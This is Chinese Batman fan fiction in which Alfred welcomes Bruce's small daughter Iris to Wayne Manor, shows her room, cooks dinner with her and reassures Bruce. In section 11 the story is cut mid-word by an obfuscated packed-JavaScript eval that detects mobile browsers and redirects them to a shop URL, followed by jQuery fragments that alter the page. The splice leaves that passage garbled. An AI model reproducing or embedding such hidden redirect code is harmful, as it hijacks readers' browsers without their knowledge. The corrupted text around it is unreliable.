1.


    阿尔弗雷德·潘尼沃斯第一次见到艾瑞斯，是在她出生后不久。


    那时候她还是个皱巴巴的小东西，躺在襁褓里，眼睛都睁不开。布鲁斯抱着她，站在窗前，很久很久没有说话。


    阿福站在门口，看着那个背影。


    他知道布鲁斯在想什么。


    这个孩子不该留在韦恩大宅。不该留在哥谭。不该留在蝙蝠侠身边。她应该有一个正常的家庭，正常的童年，正常的、没有黑暗的生活。


    “我会安排。”布鲁斯最后说。


    阿福没有反对。


    他只是走到他身边，低头看着那个小小的、皱巴巴的脸。


    “她会过得好的。”他说。


    布鲁斯没有回答。


    2.


    那是阿福第一次见到艾瑞斯。


    第二次，是在两年后。


    3.


    韦恩大宅的门被推开，一个小小的人影站在门口。


    黑色的头发，碎花裙，怀里抱着一只旧泰迪熊。她站在那里，阳光从她身后照进来，在地上投下一道小小的影子。


    阿福看着她。


    那双眼睛。


    蓝色的。晴天的海。


    他不会认错。


    4.


    小女孩站在那里，有些不知道看哪里。


    她的目光扫过门厅，扫过楼梯，扫过花瓶，扫过吊灯，最后落在阿福身上。


    然后她低下头，看着自己的脚尖。


    阿福走过去。


    他走得很慢，不想吓到她。走到她面前的时候，他蹲下来，让自己和她一样高。


    “小姐，”他说，“我们先去你的房间吧。”


    他以为她会沉默。


    他以为她会像那些受过创伤的孩子一样，把自己缩在壳里，不说话，不看人，不回应。


    但他错了。


    小女孩抬起头，看着他。


    “好的，阿福爷爷。”


    阿福愣住了。


    他在这里服务了几十年，被叫过“潘尼沃斯先生”，被叫过“阿福”，被布鲁斯小时候叫过“阿福叔叔”。但从来没有一个人叫他阿福爷爷。


    “小姐，”他说，“叫我阿福吧。”


    小女孩看着他。


    那双蓝色的眼睛眨了眨。


    “阿福。”


    阿福点点头。


    他伸出手。


    那只小手搭了上来。


    5.


    小小的，软软的，但却冰凉。


    阿福握着她那只手，站起来。


    “走吧，小姐。我带你去看看你的房间。”


    6.


    楼梯很长。


    阿福走得很慢，配合着她的步子。她每上一级台阶，都要把脚抬得很高，然后稳稳地落下去，像是怕摔倒。


    阿福看着她那个认真的样子，忽然想起另一个人。


    很久以前，也有一个小男孩，在这条楼梯上慢慢地走。


    那时候他刚失去父母，穿着黑色的西装，一言不发。阿福牵着他的手，一级一级往上走。他没有哭，没有闹，只是走得很慢，每一步都很稳。


    就像现在这个小女孩。


    7.


    “阿福。”


    “嗯？”


    “这个楼梯好长。”


    阿福低头看她。


    她正在数台阶。嘴唇微微动着，一、二、三、四……


    “一共二十六级。”他说。


    小女孩抬起头，看着他。


    “你数过？”


    “数过很多次。”


    “为什么？”


    阿福想了想。


    “因为有人需要我牵着手走上去。”他说，“我想知道还有多少级。”


    小女孩点点头。


    她继续数。


    十七、十八、十九……


    8.


    二楼到了。


    阿福带她走过走廊，在一扇门前停下来。


    “这是你的房间。”


    小女孩看着那扇门。


    门是白色的，上面什么也没有。没有贴纸，没有画，没有任何属于一个孩子的痕迹。


    阿福推开门。


    房间很大。有一张床，一个衣柜，一张小桌子，一扇落地窗。阳光从窗户照进来，落在地板上，很亮。


    小女孩走进去。


    她站在房间中央，转了一圈。


    然后她停下来，看着阿福。


    “我的？”


    “你的。”


    她低下头，看着怀里的泰迪熊。


    “杰瑞也有地方吗？”


    阿福愣了一下。


    “杰瑞？”


    她把泰迪熊举起来。


    “杰瑞。”


    阿福看着那只旧旧的、绒毛磨得发白的、眼睛松了一颗的泰迪熊。


    “当然。”他说，“杰瑞可以睡在枕头上。”


    小女孩点点头。


    她把泰迪熊放在枕头上，小心翼翼地摆正，让它的头对着天花板。


    “好了。”她说。


    9.


    阿福站在门口，看着她。


    她放好泰迪熊，又走到窗边，踮起脚往外看。


    “那是花园吗？”


    “是的。”


    “有花吗？”


    “有。很多。”


    她点点头，没有继续问。


    就那么站在窗边，看着外面。


    阿福忽然想起布鲁斯小时候。


    他也喜欢站在窗边看外面。看很久，一句话不说。那时候阿福不知道他在想什么。后来他知道了——他在看那个他即将成为的城市。


    这个小女孩在看什么？


    他不知道。


    但他有一种感觉。


    她和布鲁斯不一样。


    她的眼睛里，没有那种沉沉的、压着的东西。


    她的眼睛是晴天的海。


    10.


    “小姐。”


    小女孩转过头。


    “晚餐七点开始。”阿福说，“你想先休息一会儿，还是想参观一下其他地方？”


    小女孩想了想。


    “阿福做什么？”


    阿福愣了一下。


    “我……要准备晚餐。”


    “那我帮你。”


    阿福看着她。


    她很认真。


    11.


    厨房里。


    阿福系上围裙，开始准备晚餐。小女孩站在旁边，抱着那只泰迪熊，看着他。


    “阿福。”


    “嗯？”


    “你在做什么？”


    “切胡萝卜。”


    “阿福你喜欢吃胡萝卜吗？”


    阿福低头看着手里橙色的胡萝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260860|197845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    卜。


    “它对我们身体有健康，所以我很喜欢。”


    “哦。”小女孩点点头，“它和其它绿色的菜一样难吃吗？”


    阿福的嘴角弯了一下。


    “我认为它很美味，你应该尝试一下，小姐。”


    12.


    过了一会儿。


    “阿福。”


    “嗯？”


    “那个是什么？”


    “洋葱。”


    “它为什么让我想哭？”


    阿福转过头。


    小女孩正揉着眼睛，看着案板上的洋葱。


    “因为它有特殊的……气味。”


    “不好闻的气味？”


    “可以这么说。”


    小女孩点点头，往后退了一步。


    “那让爸爸来切吧，阿福我们一起做别的。”


    阿福笑了。


    13.


    晚餐准备好之后，阿福把菜端上桌。


    小女孩坐在椅子上，两条腿够不着地，晃啊晃的。她面前摆着一份小小的餐盘，里面是阿福特意做的小份。


    “吃吧。”阿福说。


    小女孩拿起勺子，舀了一勺土豆泥。


    放进嘴里。


    嚼了嚼。


    咽下去。


    “好吃。”她说。


    阿福点点头。


    “谢谢哦～阿福。”


    他看着那个埋头吃饭的小女孩，这是他应该做的。


    不用谢。


    在这个大宅里，他做了几十年的饭，听过很多次“谢谢阿福”。


    艾瑞斯的谢谢让他觉得有些不一样。


    很轻。很真。很普通。


    就像普通人家的爷爷和孙女。


    14.


    那天晚上，阿福去她房间看了看。


    她躺在床上，泰迪熊放在枕头边。被子盖得好好的，只露出一个小脑袋。眼睛闭着，呼吸很轻。


    阿福站在门口，看了很久。


    他想起布鲁斯小时候。


    也这样躺着，也这样睡觉。


    但那时候，他每次来看，都会想：这个孩子心里装着什么？那些沉甸甸的东西，什么时候会把他压垮？


    现在他看着这个小小的身影。


    她心里也装着东西。他知道。


    但她不一样。


    她会好的。


    15.


    他轻轻关上门。


    走廊里很安静。


    他走下楼，走进书房。布鲁斯坐在那里，手里拿着什么文件，但没有在看。


    “她睡了？”布鲁斯问。


    “睡了。”


    布鲁斯点点头。


    沉默了一会儿。


    “阿福。”


    “嗯？”


    “她叫我‘爸爸’的时候，我……”


    他没说完。


    但是看的出他的疲惫，每个孩子都是特别的。


    阿福走过去，把手放在他肩上。


    “你会是个好父亲的，她认可了你。你是她的爸爸这不会变。”他说。


    布鲁斯抬起头。


    阿福看着他。


    “这一次，”他说，“会不一样的。”


    16.


    窗外的月光落进来。


    很轻。


    很淡。


    像那个小女孩眼睛里晴天的海。